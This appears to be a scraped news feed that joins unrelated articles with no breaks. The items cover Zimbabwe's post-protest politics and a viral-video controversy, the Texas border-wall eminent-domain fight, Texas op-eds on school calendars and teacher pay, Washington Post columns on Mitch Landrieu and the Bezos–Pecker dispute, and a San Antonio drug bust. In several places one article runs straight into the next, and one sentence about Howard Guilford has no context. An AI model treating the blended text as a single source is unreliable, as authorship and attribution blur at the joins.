Gutu in his veiled attack also likened MDC leader Nelson Chamisa to Angolan rebel leader Jonas Savimbi who was assassinated in 2002, and said the MDC Alliance politicians will never last the (political) distance.

Said Gutu: You may shout at and insult SADC and the AU all you want but the fact is puppets have got absolutely no traction whether its within Africa or beyond. Puppets never last the distance, do they? Do you remember a puppet called Jonas Savimbi of Angola?

https://twitter.com/GutuObert/status/1095603020992262144

Gutu added: Zimbabwe is a member state of both SADC and the AU. SADC and the AU have spoken. Pan-Africanism and Afro-optimism viciously frowns upon puppetry, neo-colonialism and neo-imperialism.

Zimbabwe is a member state of both SADC and the AU. SADC and the AU have spoken. Pan-Africanism and Afro-optimism viciously frowns upon puppetry, neo-colonialism and neo-imperialism. #AfricaUnited#AfricaRising  Obert Gutu (@GutuObert) February 12, 2019

The Southern African Development Community (SADC) on Monday weighed in with support for Zimbabwean president Emmerson Mnangagwa.

Namibian President and Chairperson of SADC, Hage Geinghob issued a statement during the recent AU Summit held in Addis Ababa, Ethiopia. He said that NGOs and some internal groups wanted to destabilise the country with the support of external forces.

He added that SADC condemns in the strongest terms the violent demonstrations which occurred in the country in January. He reiterated his view that the protests were meant to destabilise the country.

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Related Zimbabwe Latest NewsThe United States on Tuesday called for a neutral third party to mediate talks between President Emmerson Mnangagwa and opposition rivals.

In a pointed statement, the US said it remained seriously concerned about the excessive use of force by security forces since January 14 when Zimbabweans staged street protests against a 168 percent increase in the price of fuel decreed by President Emmerson Mnangagwa.

With the economy failing and unrest growing, Mnangagwa  who was declared winner of a disputed election in July last year  has been forced to consider dialogue with his rivals.

Nelson Chamisa, who leads the main opposition Movement for Democratic Change (MDC) refused to attend initial talks with Mnangagwa at State House, insisting that as a disputant, the Zanu PF leader could not be the convener of the dialogue.

The United States calls on all sides to come together immediately in national dialogue. The dialogue process must be credible, inclusive, and mediated by a neutral third party, the US State Department said.

In order for such a dialogue to succeed, the government of Zimbabwe should end its excessive violence and intimidation, immediately release the civil society activists who have been arbitrarily detained, and hold security force members responsible for human rights violations and abuses accountable.

The US extended its condolences to the families and friends of those killed in a brutal crackdown by security forces which followed the protests, noting that at least 13 people had lost their lives, 600 people were victims of violence, torture or rape, and more than 1,000 had been arrested.

Mnangagwa must change course, the US said, and implement the promises he made when he seized power in a military coup in November 2017, and when he was controversially elected last July.

The government of Zimbabwes use of violence against civil society and imposition of undue internet restrictions betray promises to create a new Zimbabwe, the US statement went on. We also reiterate our call for the government of Zimbabwe to enact promised political and economic reforms.

Chamisa, as part of conditions for engaging Mnangagwa, has demanded that troops be withdrawn to the barracks and that dozens of MDC activists and MPs held in prisons after being denied bail be freed.

The MDC leader, who does not recognise Mnangagwas presidency accusing him of electoral theft, has hinted that they will press for a transitional authority  which Zanu PF is unlikely to accept.

A unity government between Zanu PF and the MDC formed in 2009 following disputed elections stabilised Zimbabwes economy, before its dissolution in 2013 ahead of elections.

https://twitter.com/AsstSecStateAF/status/1095394091469295625

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Related Zimbabwe Latest NewsThe Ndinyengeiwo girl  Lorraine Guyo  who last week made headlines after asking suitors to propose to her ahead of Valentines Day, still has no plans yet for the big day despite claims of having received over 7 000 messages from various prospects around the world.

In the video clip that was widely shared on social media and shot her to stardom, Lorraine was captured pleading with men to propose to her before the 14th of February (Valentines Day) as she did not want to be single on the day.

What was meant to be a joke according to Lorraine, however, went from zero to a 100 as a nude video of someone purported to be her surfaced, subsequently leading to her suspension by her employer, Meikles Hotel.

She also got a backlash from some members of her church as well as other members of society and actually wanted to commit suicide.

Speaking to Acie Lumumba during his The Lumumba Files (TLF) drive show this past weekend, the bubbly Lorraine opened up on the fiasco.

Explaining the video clip, Lorraine said the skit, her alter ego, was a genuine joke, adding that she has been recording such skits for a while.

This is one of the many videos Ive recorded. Its just that this one made its way to the public but Ive many of them. Im very passionate about acting and recording my skits.

I recorded this particular one as a joke for Valentines Day. Sadly, there were people who didnt understand that it was a joke and blew the whole issue out of proportion.

As a result of the video that went viral, Lorraine said she received 7 000 messages on her WhatsApp from various lustful people.

I dont know who put my number on social media. I received 7 000 messages on WhatsApp and actually had to block my Econet line as my phone was now crashing. These (messages) were from men who had liked what they had seen and wanted to be my Valentines dates.

Others claimed that they wanted to take care of me with some from outside the country even offering to facilitate a visa for me. Some sent messages to appreciate my beauty.

But, it was not all who were interested in dating or complementing her as some hurled insults on WhatsApp.

Some came to my inbox to shout at me, calling me a disgrace. The people from church also didnt take it lightly as I was removed from our church WhatsApp group with our youth leader telling me he was disappointed.

Because of the backlash and additional controversy spiked by the nude video, Lorraine said she contemplated committing suicide.

The nude video affected me because it wasnt me (on the video). I cant even take a nude picture of myself, what more a video? So when people started saying I had a nude video, it hurt me to an extent of wanting to commit suicide.

On her suspension from work apparently because of the high volume of traffic that was frequenting the hotel to see her as a result of the video, Lorraine, who works in the hotels Business Centre, said: The suspension was fair to some extent as Meikles Hotel is one of the biggest hotels in Zimbabwe and one of the leading hotels in the world so they wouldnt expect such things from their staff as they have a brand to protect.

She, however, said she had since been reinstated and resumed work late last week. Asked about relations between her and her employer as well as work colleagues, Lorraine said most were glad that she was back at work.

Going forward, Lorraine said she would not stop recording her skits and is hopeful that someday, she will become a radio presenter.

Id like to be a radio presenter and have a show about relationships. There are people (girls) who fail to have people who propose to them so Id like to assist them through the programme, she said.

Seemingly still single, Lorraine, when asked about her plans for Valentines Day, asked Lumumba to be her date.

I dont have plans yet for Valentines Day so Lumumba, can you be my Valentines?

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Related Zimbabwe Latest NewsTHE Southern African Development Community (SADC) on Monday weighed in with support for Zimbabwean president Emmerson Mnangagwa.

The support by SADC for Mnangagwa, political observers said, was likely to anger the opposition Movement for Democratic Change (MDC) which had been hopeful of the censure of Mnangagwa by the regional bloc.

The 76-year-old president has been under pressure, especially from human rights groups and from sections of the international community, ever since the army was deployed last month to quell protests.

The UK government, Mnangagwas foremost ally from the West, recently indicated a change of policy towards his administration and said it would not support a government that uses the army on civilians.

It also said it would lobby for Zimbabwes exclusion from the 53-member Commonwealth bloc and for an extension of the EU sanctions this month against more members in his government.

Human rights groups have put the death toll at 17 people after an army-led crackdown following protests in mid-January. A reported 81 people have been injured from gunshot wounds and more than 1,700 people have suffered various human rights violations.

In a statement the current SADC leader, Namibias president Hage Geingob, said the regional bloc was briefed by Mnangagwa on the political and socio-economic situation in the country.

Since coming to power, the new government of Zimbabwe has continued with concerted efforts to address socio-economic challenges and transform the economy, particularly through the Zimbabwe Transitional Stabilisation Programme, and to consolidate unity and peace in the country, read a part of the statement.

The SADC pointed a finger at some internal groups, in particular NGOs, which it said have continued with efforts to destabilise Zimbabwe, supported by external forces.

Piers Pigou, the southern Africa senior consultant at the International Crisis Group, said the SADC statement was not surprising  and predictably unimaginative.

The bloc said it sympathised with the families of those which had lost loved ones during the protests and condemned the violence.

Taking a cue from regional superpower South Africa, which has recently been vocal against the sanctions imposed on Zimbabwe, the SADC also said it was in support of the removal of sanctions against Zimbabwe.

The governments efforts to transform the economy and bring about prosperity to the people of Zimbabwe are negatively affected by illegal sanctions that were imposed on the country since the early 2000s.

SADC expresses its solidarity with the government and the people of Zimbabwe and calls upon the international community to unconditionally lift all sanctions imposed on the country, it said.

The SADC said all stakeholders should support the current efforts at dialogue, with the view to strengthening the economic transformation of the country.

Mnangagwa last week extended an invite to his political opponents to a meeting to set up a framework for dialogue and interaction.

His political arch-rival Nelson Chamisa, leader of the MDC, snubbed the meeting, although he has indicated a willingness to meet Mnangagwa.

Chamisa said he wanted genuine dialogue to be held with a credible convener and mediator, such as the SADC, AU or UN, to solve the political and economic crisis.

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Related Zimbabwe Latest NewsZanu PFs Chegutu West MP Dexter Nduna, who has admitted killing people in the past, has filed a $10 million defamation lawsuit against fellow MP Temba Mliswa (Norton) for calling him a thief during a heated altercation at a parliamentary committee meeting in Harare on Monday.

In a video that has since gone viral, Mliswa accused Nduna, a former Chairperson of the Parliamentary Portfolio Committee on Transport, of benefitting from an $11 million scandal that rocked the Zimbabwe National Roads Administration (ZINARA).

Nduna took exception to the allegation and demanded that Mliswa respect him and not call him a thief. A defiant Mliswa kept calling Nduna a thief arguing that a forensic audit had implicated him. You are a double thief, a triple thief, Mliswa said as he persisted with the jibes.

In an attempt to intimidate Mliswa, Nduna then suggested he was going to deal with the Norton MP outside parliament boasting that he had killed people in the past whose names he did not even know. Mliswa however was having none of it and told him return the money you stole from ZINARA.

Mliswa stepped down as chairman of the Mines and Energy Portfolio Committee following an article in the state media claiming Mliswa and four other legislators from the Committee had demanded $400,000 bribe money from one James Ross Goddard of JRG Contracting. The money was apparently a facilitation fee to enable the JRG Contracting to secure a mining contract at Hwange.

In May 2018 Nduna was arrested on allegations of public violence and discharging a firearm in public during Zanu-PF primary elections. In November the same year he shocked many when he moved a motion to have any Zimbabwean who calls for sanctions on the country to be sentenced to death.

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Related Zimbabwe Latest NewsAn Austin student passed away on February 2 after being hit by an oncoming car while riding a scooter.

About the Electric Scooter Accident

Patch.com reports that on Friday, February 1, Mark Sands, a 21-year-old exchange student, died after driving his scooter the wrong way on a service road.

According to the report, an Uber driver collided with Sands, who was rushed to the hospital but succumbed to his injuries the next day.

Information About Car Crashes in the State of Texas

In 2017, more than 3,500 people were killed and more 17,500 people sustained serious injuries in vehicle crashes in Texas.

In 2017, twenty-eight percent of crash-related fatalities in Texas involved a driver under the influence of alcohol.

Forty percent of people killed in restraint-equipped vehicles in Texas in 2017 were not restrained at the time of the crash.

Safety Tips for Riding Electric Scooters

Risk of injury on or by scooters can be reduced by:

Riders always wearing helmets

Riding in the designated bike lane and not on the sidewalk

No more than one person riding on one scooter at a time

Safely parking scooters in a designated spot and not on the sidewalk, in front of building entrances, or in front of handicap ramps

Contact an Experienced Electric Scooter Accident Attorney

If you or a loved one have been injured in an electric scooter accident, call Thomas J. Henry today. Our experienced San Antonio electric scooter accident lawyers are available 24/7, nights and weekends to hear your claim. Scooter accidents can cause great physical and financial harm to an individual and their family. We can help you address medical bills and living costs, letting you focus on healing while we take care of the ongoing legal processes. It is our goal to ensure our clients are taken care of while our injury attorneys fight relentless to obtain the real result you need.

Dont wait  contact Thomas J. Henry today for a free legal consultation. Our firm has offices in Corpus Christi, San Antonio, Austin, El Paso, and Houston, serving clients across Texas and nationwide. Call us today for a free case review  attorneys are available 24/7, nights and weekends.

Editors Note: This content is made possible by Thomas J. Henry Personal Injury Law. It is not written by and does not necessarily reflect the views of The San Antonio Express-News' or mySanAntonio.com's editorial staff. Learn more about our advertising products at www.hearstmediasanantonio.com.Texan Mauricio Vidaurri fears he will soon lose his fatheragain.

The elder Vidaurri, a World War II veteran, is buried in a 200-year-old cemetery on his 1,300-acre La Laja Ranch, which was passed down to Mauricio and his seven siblings. The Zapata County property has been in their family since the late 18th century. It was issued through a Spanish land grant before the United States of America declared its independence.

But now the younger Vidaurri worries that a portion of the property, which lies along what is now the U.S.-Mexico border, will be seized by the federal government to make way for the wall championed by President Donald Trump. And he will be forced to surrender the graves of generations of his forebears.

RELATED: As border wall construction moves ahead in Texas, judge rules feds can survey church's land

Texas is about to become the front line of the real battle for Trump's border wallone that could pit the U.S. government against an estimated 5,000 landowners who have no intention of giving up their family legacies or hard-earned homes. It's a conflict that could drag on for years and cost taxpayers far more than the nearly $1.4 billion congressional leaders have allotted for fencing along the border in their latest proposal. (Trump has estimated the price tag for a full wall could be as little as $15 billion, but his adversaries have pegged it at as much as $70 billion.)

Trump hasn't signaled whether he'll sign the latest bill, which funds only 55 miles of fencing along the border in the valley. He had wanted 215 miles.

Currently, only about a third of the 2,000-mile U.S.-Mexico boundary is fenced or walled, or has barriers in place. It's typically in the most populated areas in California, Arizona, and New Mexico. Much of that land is government-owned, so there was no need to invoke eminent domain to seize it.

The barrier along the U.S.-Mexico border

Tony Frenzel

But in Texas, where most of the border property is privately owned, the Rio Grande has served as a natural border and deterrent. The last big round of border fencing, part of President George W. Bush's Secure Fence Act of 2006, triggered hundreds of lawsuits in Texas, dozens of which are still in the courts.

READ ALSO: The salary you need to earn to buy a home right now in San Antonio

"If this goes forward, this will be one of the largest exercises in eminent domain in the modern history of the federal government," says Ilya Somin, a law professor at George Mason University and an adjunct scholar at the Cato Institute, a think tank. "Realistically, hundreds, even thousands of people will lose their property. There will be legal battles over the legal compensation."

The court challenges are likely to multiply even further if the president bypasses Congress and declares a national emergency to get the wall built. A particularly contentious battlefield could be the 62 miles of a Native American reservation along the Arizona border. It's not clear if the president could seize that property without congressional approval. And it's unlikely that a Democrat-controlled House of Representatives would approve the emergency taking of that land.

Of course, not all lawmakers believe the wall is necessary. The only Republican member of Congress along the border, Rep. Will Hurd, called the proposed barriers a third-century solution to a 21st-century problem. All nine members of Congress serving the districts along the border oppose its construction.

Mauricio Vidaurri fears the federal government will seize his family land along the U.S.-Mexico border.

Photo provided by Mauricio Vidaurri

Residents such as Vidaurri aren't interested in political squabbling. For them, the barrier is personal.

"Well lose our history that goes back almost 300 years. ... That's painful," says Vidaurri, 60. He lives in Laredo, TX, about 22 miles from the family land. But he visits his 140 acres of the ranch at least twice a week to check on the graves of four generations of his family. The land is currently used for hay production, hunting, and natural gas drilling.

This doesn't mean that Vidaurri and his family would lose all of their property on the Mexican side of the wall. They would cede the land under and around the wallwhich in Vidaurri's case would likely include the family cemetery. Under the Secure Fence Act, gates were erected that landowners whose property straddled the border could open with a code. But many property owners don't feel safe having such gates.

"You're putting a big ol' bull's-eye on my back," Vidaurri says. "Guess who wants that code? The cartel, the drug smugglers, and the human smugglers."

Legal challenges could drag on for decades and jack up costs

Landowners aren't likely to win a David-and-Goliath-style battle with the federal government. But they may be able to successfully challenge the amount of real estate they ultimately cede, says Jim Burling, an eminent domain attorney at the Pacific Legal Foundation in Sacramento.

They can also push back against very low offersin effect, driving up the price tag for the wall.

"Local, state, and federal agencies are notorious for trying to pay as little as possible for properties they take," says Burling.

About a decade ago, the government took less than 10 acres of Tudor Uhlhorn's property along the border to put up fencing. But it lowballed him, so he went to an attorney and received a larger settlement.

That's typical. Of the 334 eminent domain lawsuits filed in the southern part of Texas during the George W. Bush years, about 70 cases are still in court, according to the Washington Post. Most of those lawsuits revolve around money. And property owners with attorneys received about triple what they were initially offered, according to ProPublica and Texas Tribune.

"Everybody needs to have an attorney that knows what hes doing," says Uhlhorn, the commissioner of the city of Harlingen, TX.

The Tohono O'odham Nation, which has 62 miles along the border on their Native American reservation in Southern Arizona, already has its attorneys in place.

"The land on the U.S.-Mexico border is precious, sacred land. This land is not for sale," says Verlon Jose, vice chairman of the Tohono O'odham Nation.

The tribe has about 34,000 members, although only 9,000 to 10,000 of them live on the reservation. The pain of losing the property, Jose says, would be akin to "taking a knife and cutting it across your heart."

But even as the question of funding remains unresolved, the government is gearing up to take private property from scores of homeowners.

The federal government is planning to survey Nayda Alvarezs land, a preliminary step before seizing it.

Krystal Anne Gonzalez

High school speech teacher Nayda Alvarez, 47, received a letter from U.S. Customs and Border Protection in January stating the agency will be filing an action in federal court that will allow it to access her property on the outskirts of Rio Grande City, TX, for 12 months to conduct "necessary" surveys. It's one of the first steps toward an eminent domain seizure.

"Border security tactical infrastructure, such as border walls, lighting, and roads, are critical elements to gain effective control of our Nation's borders," reads the letter dated Jan. 9. "The purpose of border security infrastructure is to deter illicit cross-border activity such as drug smuggling, border violence and illegal immigration."

The agency did not respond to a request for comment.

These are very real issues along the boundary of the two countries. About a year ago, drug smugglers abandoned a car on Alvarez's property as they were pursued by border control. (They didn't cross into the U.S. through her property.) The vehicle was removed before she came home from work.

But Alvarez still feels safe in her four-bedroom, two-bathroom home, where she had planned to retire. She scrimped and saved to build it 12 years ago, and now is afraid the government will take it away.

"I'm very upset. I've worked my [butt off] to pay for it," says Alvarez, who shares the home with her 22-year-old daughter. "And now I'm going to start at zero."

Last year, the Army Corps of Engineers attempted to lease part of her grandfather's property, next door, for four years for a grand total of $750. She refused.

"I'm a born U.S. citizen, and I dont feel like its right for someone to take away what is mine," says Alvarez.

Will a wall saveor sinkstruggling border towns?

With the exception of San Diego, about 30 miles north of Mexico, border towns tend to be sparsely populated and lack good jobs.

The border cities of McAllen and Brownsville in Texas, about an hour apart, are two of the poorest cities in the nation. Both already have some fencing along the U.S.-Mexico line.

In the 80 U.S-Mexico border ZIP codes, median home prices are about a third lower than the rest of the nation, at just $195,282 as of December 2018, according to a realtor.com analysis. And annually, homes aren't appreciating nearly as much as those in the rest of the country2.3% compared with 7.1% nationally.

"In Texas alone, you've got cities on the border where you have high levels of unemployment and povertyand real estate values reflect that," says Terence Garrett, a public affairs and security studies professor at the University of Texas Rio Grande Valley in Brownsville. "[We're] so far away from the state capitals and Washington, DC, [we] become an afterthought, an area that is not well-understood."

But the wall could also have benefits for some in these struggling communities and real estate markets. It would make some folks feel safer as they wouldn't have to deal with the repercussions of immigrants crossing through their properties illegally. (Opponents say immigrants without documents will still find ways to enter the United States.)

Once those problems are pushed out of those areas, it raises the property values, says Tom Fullerton, an economics professor at the University of Texas at El Paso, who specializes in border economies.

"It's going to be viewed as a safety [protection]," adds Sue Ann Taubert, a Texas real estate broker and president of the Harlingen Board of Realtors.

While a wall may not be a scenic sight, it's not likely to affect too many folks on a day-to-day basis. The areas where it would be built tend to be fairly rural.

And in the short term, construction of the wall could create an employment boom for nearby towns and cities. Although most new workers would likely be temporary, they would still be spending money locally, including on housing.

Intertwined economies are difficult to unwind

But the economic picture is complicated on the border. Communities often have large sister cities on the Mexican side, and locals go back and forth between them frequently. Those economies tend to be closely intertwined.

Mexican customers "are extremely important to support businesses on the American side," says Garrett. "This is the fear about amping [up] border security: It drives customers away."

It could also affect U.S. businesses that have workers, plants, and warehouses in Mexico as well as the Rio Grande Valley's emerging eco-tourism sector. A wall would cut through the National Butterfly Center in Mission, TX, and the 2,088-acre Santa Ana National Wildlife Refuge in Alamo, TX. Congress previously spared the refuge, a popular destination for bird-watching, from division by a barrier.

The National Butterfly Center is expected to be plowed over to clear the way for President Donald Trump's border wall after the U.S. Supreme Court rebuffed a challenge by environmental groups.

SUZANNE CORDEIRO/AFP/Getty Images

Already talk of the wall, and the weaker peso, has deterred Mexican nationals buying homes in the Rio Grande Valley, says McAllen, TXbased real estate broker Rene Galvan, of RGV Realty. Many are selling the vacation homes they already own on the American sidefor a loss.

"All of these things are mounting up," Galvan says. "It's like pulling the welcome mat off the front door."

The post The Real Border Wall Battle: It's Texas Homeowners Who May Pay the Price appeared first on Real Estate News & Insights | realtor.com.Among the editors accused of this practice was a miscreant from Minnesota named Howard Guilford, who had a hand in several scandal sheets. It's little surprise that the wealthy and powerful hated Guilford, and they may have been behind trumped-up accusations of counterfeiting and other crimes leveled against him. More credible, though, were multiple charges of libel and extortion, though he was only found guilty on a couple of occasions.Few moments are as valuable as the time we spend with our families. Unfortunately, such memorable moments during summer vacation may become a thing of the past as school districts push for earlier school start dates.

Until 2015, families didnt have to worry about the school year invading our summers. Texas law was clear. All public schools started on the fourth Monday in August. Families had expectations about how long their summers would last and planned accordingly. We sent our children to camps, enrolled them in vacation Bible school and took family trips to extraordinary places.

All of that changed when the Legislature created Districts of Innovation and allowed school districts to deviate from existing state standards. While I support the District of Innovation model to give schools more freedom, my expectation for innovation is higher than simply changing a date on the calendar. Now as more schools start earlier, summer is disappearing and so is quality time spent with our families.

There is no significant academic advantage for students in districts that start the school year earlier. However, for many school districts in Texas, the only change theyve made as a District of Innovation is to start school earlier in August.

Losing summer days may not improve student performance, but it certainly costs young people valuable opportunities. High school students lose out on real world experiences, such as their first summer job and the responsibilities that come with earning a paycheck. Church camps and mission trips are canceled or shortened, diminishing the positive influence they have on our youth. Neighborhood pools must close early or operate with fewer lifeguards, and communities that rely on tourism suffer.

A March 2017 report from the Perryman Group estimates that shortening summer vacation by just one week costs the state $1 billion in lost spending, more than $500 million in gross product output and the elimination of more than 7,500 jobs. Beyond the economic numbers, the loss of summer takes its toll on students riding in buses with no air conditioning in 100-degree sweltering heat.

Fortunately, exceptional districts like Comal Independent School District understand this. Their students perform at a high level while starting the school year later in August and finishing before the end of May. Valuable opportunities remain available during summer, student engagement increases during the condensed school year, and the entire New Braunfels community benefits.

As the outgoing chair of the Texas Legislative Tourism Caucus, I hate to see small businesses lose income, cut workers and close early because of something as simple as the school start date.

As a mom, I worry about my daughter losing the invaluable lessons she has gained while making new friends at summer camp, spending time in a foreign country to learn a new language, taking up Irish dance and exploring our incredible state parks.

Our schools do a tremendous job of teaching our children, but a childs education should not be limited to inside the classroom. Its time to save our summer and encourage the spirit of family, community and adventure that has always made Texas stand out.

Lets re-establish a uniform school start date that protects summer jobs, respects our values and brings families closer together.

State Sen. Donna Campbell, R-New Braunfels, represents Senate District 25.Before I was elected lieutenant governor in 2014, I served on the Senate Education Committee for eight years, including as chair during the 2013 legislative session.

Making our public schools better has long been a top priority for me. First as a senator and then as lieutenant governor, I have helped reduce standardized testing, reformed graduation requirements and created new career tech partnerships between public schools and businesses to help ensure we provide training that will lead to jobs in the 21st century economy.

Still, research consistently shows that, aside from a parent, no one has more impact on the success of a student than a teacher, and teachers must be our top priority when we determine how to spend our education dollars.

Teacher turnover is at an all-time high, and the percentage of teachers with more than three years experience has dropped to under 80 percent. Currently, only about a third of the $60 billion we spend each year on our schools goes to teacher pay.

I first proposed a $10,000 raise for all teachers during the special session in 2017. The bill did not pass. In my inauguration speech last month, I announced that Sen. Jane Nelson, R-Flower Mound, had filed Senate Bill 3, to give all teachers a $5,000 raise. This a big down payment on my goal of a $10,000 across-the-board raise.

It will cost $3.7 billion, but it is critical and must be done now so teachers feel the impact immediately. Gov. Greg Abbott made increasing teacher pay an emergency item in his State of the State address.

At a time when we need the good teachers most, we are losing them because pay is low. Often the only way for a teacher to get a raise is to move to an administrative position. We are also failing to attract many of the best and the brightest to teaching because the salaries are not competitive with other professions.

Unfortunately, some are opposing an across-the-board raise for every teacher, insisting we provide the money to school districts to distribute to teachers based on effectiveness. They point to the excellent Accelerating Campus Excellence, or ACE, program in Dallas Independent School District, which has produced dramatic results in a short amount of time by providing pay incentives for good teachers to teach in failing schools. I also support this innovative approach, led by Superintendent Michael Hinojosa.

This is not an either/or situation. It is my goal to encourage school districts all over the state to emulate the ACE performance pay program in their districts  designed, like ACE, by local teachers and school leaders. I intend to include funding for incentive programs in the Senate budget as well, but we still need to significantly increase the base pay for all Texas teachers now.

Last legislative session, we provided a substantial, across-the-board pay raise to every case worker at Child Protective Services to help attract and retain a competent workforce. We didnt just give a raise to the best case workers  we raised the salaries for all of them.

We must do the same for our teachers. They are the key to achieving our goal of improved outcomes for the children in all public schools. A well-deserved pay raise for all teachers is a first step toward making that happen, and I will fight for both across-the-board pay raises and incentive programs designed by local districts this session.

Lt. Gov. Dan Patrick was re-elected in 2018.It is the tragedy of America that a story of freedom, self-government, religious liberty, entrepreneurship and inclusion is also a story of forced migration, stolen labor, routine rape and murder, lynching, vote stealing, racist piety, segregation, red-lining and mass incarceration.

Both these versions are true; but I hope they are not equally true. Americas great advantage is that a powerful and subversive idea  that all are created equal  was built into our founding. This has acted as a kind of a virtuous virus in our countrys code. Generation after generation has demanded a fuller realization of promises made by the Declaration of Independence but not yet delivered by the Constitution.

This dialectic between ideal and practice is the true story of the country. And this is why rhetoric has been so central to the advance of civil rights. Abraham Lincoln, Frederick Douglass and Martin Luther King Jr. set out to make the countrys ideals so vivid and compelling that hypocrisy would feel like a failure, not just of morality but of patriotism. They presented division as disloyalty to national ideals.

Who is addressing racial justice in these terms today? We always go around it, never through it, former New Orleans Mayor Mitch Landrieu recently told me. I dont know of any party or candidate dealing with it.

Besides Landrieu, that is. If one of the main purposes of the 2020 election is to heal racial wounds that Donald Trump has salted and to provide serious reflection on the proper application of American ideals to current controversies, then Landrieu needs to be on the main debate stage during the Democratic nomination process.

Landrieu is known as the guy who took down the four Confederate monuments in New Orleans. He should be better known as the guy who explained his actions in one of the best civil rights speeches since President Barack Obama spoke at Selma in 2015.

These statues are not just stone and metal, he argued. They are not just innocent remembrances of a benign history. These monuments purposely celebrate a fictional, sanitized Confederacy, ignoring the death, ignoring the enslavement, and the terror that it actually stood for.

The speech managed something difficult but important. Landrieu was morally unambiguous about his position without dehumanizing his opponents. I must have passed by those monuments a million times without giving them a second thought, he admitted. But then Landrieu urged people like him to see the monuments through other eyes. He imagined an African-American father or mother trying to explain the meaning of the monuments to their fifth-grade daughter. Can you look into that young girls eyes and convince her that Robert E. Lee is there to encourage her? he asked. Do you think she will feel inspired and hopeful by that story?

Before the 150 years of the Trump era (in felt time), there was actually a word for this: empathy.

Weve seen this kind of balancing act before  presenting inclusive ideals in ways that might appeal to moderates or religious conservatives. It is what Bill Clinton did very effectively. Democratic governors (or mayors) can only win in the South by sounding inclusive of conservatives  or at least not treating them as the devils spawn. A speech by most Northern progressives on Confederate monuments would likely be a harangue.

I was in attendance during a speech Landrieu gave in New Orleans just before leaving office last spring. The audience consisted mainly of wealthy Republicans. He gave remarks on the theme of post-Trump national reunification that earned a standing ovation. What other prospective Democratic president could manage that? Or want to?

Does Landrieu think the 2020 presidential election will feature a serious discussion of racial and economic justice? Having a president like Donald Trump, Landrieu told me, stops thoughtful conversation. The former mayor speculates that a debate on these matters may take 10 or 15 years to ripen. We are not addressing (issues of race and class) holistically, he said. We dont know what is trying to be born.

In the meantime, Landrieu argues that Democrats would be unwise to focus on impeachment. We need to heal this through the electoral process, he explained.

Landrieu is proposing a message of national healing to a Democratic Party that seems to want unrestricted warfare. This makes him unlikely to be the 2020 Democratic nominee. But it says a great deal about our current politics that reason, outreach and tolerance for those with differing ideological views are broadly seen as disqualifications.

michaelgerson@washpost.comAs stories go, the face-off between Jeff Bezos and David Pecker (paging Charles Dickens) has all the elements of a 21st-century battle royale between good and evil, represented by the richest man in the world, who happens to own the Washington Post, and the pied piper of sleaze, respectively.

Thank you, God.

Such is the stuff of columnist prayers  scandal, sex, money and, quite possibly, extortion, blackmail and an epic turn of events via shame, redemption and culture-shifting litigation. The only way the script could be improved would be if there were also a Russian connection and a breadcrumb path to Donald Trump.

Briefly, for those just waking up, Bezos, creator of Amazon, may have proved all too human when he apparently fell in love with a woman not his wife and, as often happens, fell into a hormonally induced trance during which he texted her intimate messages and pictures.

Enter Satan  aka an unknown person, who apparently secured several of those messages, along with 10 photos, and provided them to the National Enquirer, which is owned by American Media Inc. and where Pecker is publisher.

After some of the texts (but no photos) were published last month in the Enquirer, Bezos decided to find the thief and asked security expert Gavin de Becker to lead the investigation. Whereupon, the brilliant minds at the Enquirer apparently decided to threaten Bezos.

In writing.

The gist of the threat was a suggestion that the photos would be published unless Bezos asserted there was no political motive to the publishing of the texts. Naturally, one wonders what else they might be hiding at the Enquirer, other than, perhaps, a trove of Trump stories, photos and, possibly, assorted dossiers that have been stashed in a vault.

Recall that AMI cut an immunity deal with investigators who were looking into Trumps knowledge of the Enquirers catch-and-kill practice, including buying Playboy model Karen McDougals story alleging an affair with Trump.

Rather than go further down the road of threats, alleged extortion and blackmail, Bezos called Peckers hand on Thursday, raised him significantly and essentially said, No dice.

At great risk of personal shame, Bezos published correspondence between respective lawyers in an essay on the online publishing platform Medium.

(He acknowledged that his ownership of the Washington Post was a complexifier, one, however, that meant he had to stand up to the threat).

Obviously, texting intimate photos is not the wisest move, but few can be shocked that wealth apparently doesnt insulate one from weakness or poor personal decisions. This doesnt mean, however, that Bezos, who founded Amazon in his garage 24 years ago, cant continue to ably function in his executive capacities, as AMI tried to claim as a justification for publishing the texts. Its argument that Americans deserve to know about the Amazon bosss judgment made the story, in AMIs view, newsworthy and in the public interest.

Alternatively, because Pecker and Trump are old friends  and Trump is no big fan of the Post or Bezos  Pecker was perhaps making up to Trump for that previously mentioned immunity deal.

As for the newsworthiness of publishing personal photos, lets clarify. Exposing someones most intimate thoughts and expressions is meant to appeal to prurient interests and to destroy anothers life. Full stop. Bad judgment in personal matters is simply that.

Good judgment, on the other hand, results in 600,000 jobs  and groceries, books and printers delivered to my front door. Theres no overlap.

Among Bezos other good judgments was his decision to sink millions of dollars into a struggling but essential newspaper, for which we are grateful but not indebted. The important point is that Bezos understands, appreciates and intends to illuminate the differences between weaponizing journalistic privileges, hiding behind important protections, and ignoring the tenets and purpose of true journalism, as he wrote on Medium.

The lesson for Bezos is writ large enough, but a more-universal lesson begs attention.

What he is experiencing  the possibility of having ones intimate communications given a wide audience  happens every day to people, including teens without the means and maturity to withstand the humiliation.

Maybe Bezos, by his willingness to take such a spotlighted walk of shame, can set an example for people to be both more prudent and braver when there seems to be no way out.

The world will never be free of Peckers, yet this particular one is especially malevolent. But when his company allegedly threatened Bezos and suggested that he betray the values of the newspaper he owns, it issued a challenge to karma.

May the flawed prevail over the wicked.

kathleenparker@washpost.comA traffic stop on the South Side of San Antonio Monday resulted in a major drug bust and the seizure of thousands of dollars in cash, according to the Bexar County Sheriff's Office.

Joseph Anthony Tamez, 22, and Raul Enriquez Lopez-Barrera, 31, were both arrested on federal charges following the traffic stop, according to federal court documents.

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On Monday, DEA agents received information about a white Dodge Ram pickup with Mexican license plates headed to San Antonio with narcotics, according to the document.

The law enforcement agencies in San Antonio worked together to track down the pickup, which was pulled over in the 1200 block of Southeast Military Drive for an illegal left turn.

Officers identified the driver of the pickup, Lopez-Barrera, and a female passenger who was not charged in the case, according to the court document.

After receiving permission from Lopez-Barrera, agents searched his car and found 20 pounds of methamphetamine in 14 bundles.

RELATED: Search warrant turns up drugs, cash in Central Texas home, police say

Undercover agents then took over the transaction, according to the document, and formulated a plan to deliver the narcotics to the intended recipient, Tamez.

Once Tamez was recorded giving money to the undercover officer and place the narcotics in his car, agents took him into custody.

Both suspects remained in federal custody on Wednesday.

